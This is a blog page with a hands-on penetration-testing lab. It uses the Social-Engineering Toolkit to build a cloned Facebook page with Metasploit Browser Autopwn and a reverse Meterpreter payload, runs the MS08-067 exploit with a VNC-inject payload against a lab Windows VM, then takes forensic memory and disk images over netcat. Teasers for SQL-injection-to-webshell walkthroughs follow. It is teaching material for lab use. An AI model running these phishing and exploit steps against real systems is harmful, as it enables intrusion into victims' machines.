Chuyển đến nội dung chính

Hướng Dẫn Thực Hành - Social Engineering Toolkit (SET) : Lesson 3

{ Create Malicious Weblink, Install Virus, Capture Forensic Images }
Section 0. Background Information
  • What is the Social-Engineering Toolkit (SET)
    • The Social-Engineering Toolkit (SET) is a python-driven suite of custom tools which solely focuses on attacking the human element of penetration testing.
    • It's main purpose is to augment and simulate social-engineering attacks and allow the tester to effectively test how a targeted attack may succeed.
    • Social-Engineering toolkit available on backtrack like on backtrack 5, backbox, blackbuntu, Gnacktrack and other Linux distribution that are used for penetration testing.
  • Lab Notes
    • In this lab we will do the following:
      1. Use Set to Create a Malicious Web Link
      2. Create an addition VNC Session
      3. Install a Fake Virus
      4. Capture a Forensics Memory and Hard Disk Image.
  • Legal Disclaimer : Các bài lab chỉ dùng cho môi trường học tập, không thử nghiệm trên các hệ thống không có thẩm quyền.
Section 1. Configure BackTrack Virtual Machine Settings
  1. Open Your VMware Player
    • Instructions:
      1. On Your Host Computer, Go To
      2. Start --> All Program --> VMWare --> VMWare Player
  2. Edit BackTrack Virtual Machine Settings
    • Instructions:
      1. Highlight BackTrack5R1
      2. Click Edit virtual machine settings
  3. Edit Network Adapter
    • Instructions:
      1. Highlight Network Adapter
      2. Select Bridged
      3. Do not Click on the OK Button.

Section 2. Login to BackTrack
  1. Start BackTrack VM Instance
    • Instructions:
      1. Start Up VMWare Player
      2. Select BackTrack5R1
      3. Play virtual machine
  2. Login to BackTrack
    • Instructions:
      1. Login: root
      2. Password: toor or <whatever you changed it to>.
  3. Bring up the GNOME
    • Instructions:
      1. Type startx

Section 3. Open Console Terminal and Retrieve IP Address
  1. Open a console terminal
    • Instructions:
      1. Click on the console terminal
  2. Get IP Address
    • Instructions:
      1. ifconfig -a
    • Notes:
      • As indicated below, my IP address is 192.168.1.105.
      • Please record your IP address.

Section 4. Start the Social Engineering ToolKit
  1. Start Social Engineering ToolKit
    • Instructions:
      1. cd /pentest/exploits/set
      2. ./set
  2. Website Attack Vector
    • Instructions:
      1. Select 2
  3. Select Metasploit Browser Attack Method
    • Instructions:
      1. Select 2
  4. Select Web Templates
    • Instructions:
      1. Select 1
  5. Set Facebook Web Attack
    • Instructions:
      1. Select 4
  6. Enter Exploit
    • Instructions:
      1. 24) Metasploit Browser Autopwn (USE AT OWN RISK!)
  7. Set Payload
    • Instructions:
      1. Select 2) Windows Reverse_TCP Meterpreter
      2. Use Port 5555
  8. Exploits Prepared, Server Started
    • Instructions:
      1. Your are looking for the "--- Done, Found" before you Continue.
      2. Continue to next Section.
Section 5. Start Up Windows Machine
  • Social Engineering Note
    • Image how an attacker could embed the malicious link, created in previous Section, in an email to a possible victim.
    • This type of attack is especially dangerous because it crashes the victim's web browser, and the victim does not realize the Metasploit payload was injected and a session is now attached to a migrated notepad process.
  1. Booting up WindowsVulerable01
    • Instructions:
      1. Start up VMware Player
      2. Select WindowsVulerable01
      3. Edit Virtual Machine
  2. Configuring the Network Adapter
    • Instructions:
      1. Select Network Adapter
      2. Select Bridged Connection
      3. Select OK
  3. Play WindowVulnerable01
    • Instructions:
      1. Select Play virtual Machine
  4. WindowsVulerable01 Authentication
    • Instructions:
      1. Login as administrator

Section 6. Start Up a Web Browser
  1. Start Up Internet Explorer
    • Instructions:
      1. Start --> All Programs --> Internet Explorer
  2. Victim Clicks on Link
    • Instructions:
      1. Place the Malicious Web Link in the Address Bar.
        • In my case, http://192.168.1.105:8080
        • In your case, get the IP address from Section 4, Step 8.
    • Note:
      • The Web Browser will just crash.

Section 7. Entering the Victim's Machine
  1. Record Victim's IP Address
    • Instructions:
      1. Record the Victim's IP Address.
      2. Look for the line that starts with Session ID 1 (See Below).
  2. Create VNC Session to Victim's machine
    • Instructions:
      1. use windows/smb/ms08_067_netapi
      2. set PAYLOAD windows/vncinject/bind_tcp
      3. set RHOST 192.168.1.109
        • Note: This is the IP Address obtained in the previous step.
      4. exploit
  3. Viewing the Victim's Machine over VNC
    • Instructions:
      1. Now you have a VNC connection to the Victim's Machine.
      2. Pretty KooL right!!!
    • Proof of Lab Instructions #1:
      1. Click in the Metasploit Courtesy Shell
      2. date, press enter twice
      3. echo "Your Name"
        • Replace the string "Your Name" with your actual name.
        • i.e., echo "John Gray"
      4. PrtScn
      5. Paste into a word document
      6. Continue to Next Step
  4. Bring Up Internet Explorer
    • Instructions:
      1. Start --> Internet Explorer
  5. Download Fake Virus.
    • Instructions:
      1. Place "http://www.antoanthongtin.edu.vn/UNIX/BACKTRACK/lesson6/fake_virus.bat" into the address bar.
      2. Press Enter
      3. Click Save
      4. Continue to Next Step
  6. Save the Fake Virus.
    • Instructions:
      1. Navigate to "C:\tools\Virus Jar"
        • Create this directory if it does not already exist.
      2. Click Save
  7. Run the Fake Virus.
    • Instructions:
      1. Click the Run Button
  8. Viewing Results
    • Instructions:
      1. You will now see some messages stating your system was compromised.
        • Note, this is just a batch script that prints messages to a screen.
        • This was just an example of what an attacker could do once they compromised the victim's machine.
      2. Click on the Black Box and Press Enter.
  9. Delete the fake_virus.bat file
    • Instructions:
      1. Start --> My Computer
      2. Navigate to "C:\tools\Virus Jar"
      3. Right Click on fake_virus.bat
      4. Click Delete
      5. Send to Recycle Bin? Yes
  10. Delete the fake_virus.bat file for the Recycle Bin
    • Instructions:
      1. Navigate to the Recycle Bin
      2. Right Click on fake_virus.bat
      3. Click Delete
      4. Are you sure want to delete 'fake_virus.bat'? Yes
    • Notes:
      • We are completly removing this file, so we have a deleted file to both analyze and recover with preceding forensic labs.

Section 8. Start Up NetCat  Listener To Receive Physical Memory Dump From Helix
  1. Open a console terminal
    • Instructions:
      1. Click on the console terminal
  2. Get IP Address
    • Instructions:
      1. ifconfig -a
    • Notes:
      • As indicated below, my IP address is 192.168.1.105.
      • Please record your IP address.
     
  3. Start Up Netcat on BackTrack
    • Instructions:
      1. mkdir -p /FORENSICS/images/1/
      2. cd /FORENSICS/images/1/
      3. nc -l -vvv -p 8888 > WV01_PM_fake_virus.dd
        • Netcat will listen for Helix to send the Memory Image.
        • Nothing will be sent until you complete the following section.
      4. Continue to Next Section

Section 9. Start Helix to Send Physical Memory to BackTrack
  1. Edit Virtual Machine Settings
    • Instructions:
      1. Virtual Machine --> Virtual Machine Settings...
  2. Configure Windows to load the Helix iso as a CD/DVD
    • Instructions: 
      1. Select CD/DVD (IDE)
      2. Select the Use ISO image file
      3. Browse to where you saved the Helix iso.
        • Note:  In my case, I save it in the following location:
        • H:\BOOT ISO\Helix2008R1.iso
  3. Helix Screen
    • Instructions: 
      1. Select Accept
  4. Live Acquisition
    • Instructions: 
      1. Click on the Camera Icon.
      2. Select "\\PhysicalMemory" from the Source Dropdown Menu
      3. Select the NetCat Radio Button
      4. Destination IP: Provide BackTrack's IP Address.
        • Obtain BackTrack's IP in Section 8, Step 2.
        • In my case, it is 192.168.1.105.
        • In your case, it will be different.
      5. Port: 8888
        • This is the Listening NetCat Port on the BackTrack Server.
      6. Click Acquire
  5. Notice
    • Instructions: 
      1. Click Yes
  6. Helix Informational
    • Instructions: 
      1. You will see a black command prompt like below.
      2. Notice it will say "Copying Physical memory"
      3. DO NOT CONTINUE TO THE NEXT SECTION UNTIL the black box disappears

Section 10. Verify Physical Memory Dump on BackTrack
  1. Verify Image Byte Size
    • Instructions:
      1. ls -l WV01_PM_fake_virus.dd

Section 11. Start Up NetCat  Listener To Receive Hard Drive Image From Helix
  1. Start Up Netcat on BackTrack
    • Instructions:
      1. cd /FORENSICS/images/1/
      2. nc -l -vvv -p 8888 > WV01_HD_fake_virus.dd
        • Netcat will listen for Helix to send the Hard Drive Image.
        • Nothing will be sent until you complete the following section.
      3. Continue to Next Section

Section 12. Use Helix to Send Hard Disk Image to BackTrack
  1. Live Acquisition
    • Instructions:
      1. Click on the Camera Icon.
      2. Select "C:\ (Logical drive)" from the Source Dropdown Menu
      3. Select the NetCat Radio Button
      4. Destination IP: Provide BackTrack's IP Address.
        • Obtain BackTrack's IP in Section 8, Step 2.
        • In my case, it is 192.168.1.105.
        • In your case, it will be different.
      5. Port: 8888
        • This is the Listening NetCat Port on the BackTrack Server.
      6. Click Acquire
  2. Notice
    • Instructions: 
      1. Click Yes
  3. Helix Informational
    • Instructions: 
      1. You will see a black command prompt like below.
      2. Notice it will saying "Copying \\.\C to CONOUT$..."
      3. This 8GB copy will take about 30 minutes.
      4. DO NOT CONTINUE TO THE NEXT SECTION UNTIL the black box disappears

Section 13. Verify Hard Drive Image on BackTrack
  1. Verify Image Byte Size
    • Instructions:
      1. ls -l WV01*
      2. date
      3. echo "Your Name"
        • Replace the string "Your Name" with your actual name.
        • i.e., echo "John Gray"
    • Proof of Lab Instructions #2:
      1. PrtScn
      2. Paste into the previously created word document
Nhãn:

Bài đăng phổ biến từ blog này

Hack the Pentester Lab: from SQL injection to Shell VM

Today we are going to perform penetration testing in another lab, download it from here . Now install the iso image in VM ware and start it. The task given in this lab is to gain access of administration console and upload PHP webshell. Start your Kali Linux then open the terminal and type netdiscover command for scanning network. Here 192.168.0.105 is my target IP which is shown in the screenshot. Then explore this IP in browser When you will open target IP in browser you will get a web page having heading My Awesome Photoblog . On the top of left side it contains some tags: home; test;  ruxcon; 2010; all pictures; admin. Now Click on test . The above URL : http://192.168.1.105/cat.php?id=1 will run query for ID 1 now let try to find out whether the above URL is vulnerable to sql injection or not by adding ‘ at last of URL: http://192.168.1.105/cat.php?id=1 ’ . And I have got a message of sql error. It confirms that this web page is suffering from sql vulnerability. Now ...
Đọc thêm

Metasploitable 2 vulnerability assessment

A vulnerability assessment is a crucial part in every penetration test and is the process of identifying and assessing vulnerabilities on a target system. In this part of the tutorial we will be assessing the vulnerabilities available on the network side of the Metasploitable 2 virtual machine. We will be assessing the web applications on the Metasploitable 2 machine in a later tutorial. In the previous Metasploit enumeration and fingerprinting tutorial we’ve learned that the Metasploitable 2 machine contains a lot of vulnerabilities. We have collected valuable information about the target system which we will be using to find known vulnerabilities both on- and offline. Exploitation of these vulnerabilities will be demonstrated in the next exploitation tutorial. In this tutorial we will be looking at a few different ways to perform vulnerability analysis. We will be manually searching for exploits, use scanning tools like Nmap with scripts and we will be...
Đọc thêm

10 Security Vulnerabilities That Broke the World Wide Web in 2016

Information security is a subject in cyber-world which we can’t think away anymore. Data breaches can cost millions when sensitive information is leaked on the Internet. Zero-day exploits pop up for sale every day in deep web forums in return for Bitcoins. However, few exploits are disclosed in public domain once the vulnerability is patched by the vendor. This past year, we had over 6400 common vulnerabilities and exposures which were issued a CVE ID. There were few major bug fixes by the vendors serving backbone of the Internet. Here is the list of top 10 security vulnerabilities which came to light this year. 1. Dirty Cow (CVE-2016-5195) Discovered by Phil Oester,  Dirty Cow , is a kernel vulnerability that allows any unprivileged existing user to escalate its privilege to root. Root is the highest privilege on any UNIX or LINUX system, which has access to all the files. This vulnerability is known as privilege escalation. COW (Change on Write) is a technique used by Linux to re...
Đọc thêm